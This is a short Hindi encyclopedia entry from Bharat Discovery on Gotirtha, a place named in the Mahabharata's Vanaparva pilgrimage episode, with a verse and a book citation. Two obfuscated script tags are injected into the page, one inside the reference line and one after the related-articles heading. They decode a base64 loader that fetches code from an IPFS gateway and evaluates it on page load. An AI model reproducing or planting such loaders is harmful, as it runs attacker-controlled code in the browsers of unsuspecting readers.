गोतीर्थ
भारत डिस्कवरी प्रस्तुति
व्यवस्थापन (चर्चा | योगदान) द्वारा परिवर्तित 07:40, 23 जून 2017 का अवतरण (Text replacement - "पश्चात " to "पश्चात् ")
गोतीर्थ नामक पौराणिक स्थान का उल्लेख महाभारत के वनपर्व के अंतर्गत पांडवों की तीर्थ यात्रा के प्रसंग में है-
'कन्यातीर्थेऽश्वतार्थे च गवां तीर्थे च भारत कालकोट्यां वृषप्रस्थे गिरावुष्य च पांडवा:।'[1]
- 'अश्वतीर्थ' (कन्नौज के निकट) के पश्चात् इस स्थान का उल्लेख है। अत: यह तीर्थ संभवत: इसी स्थान के निकट रहा होगा।[2]
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ वनपर्व 95, 3.
- ↑ ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 299 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>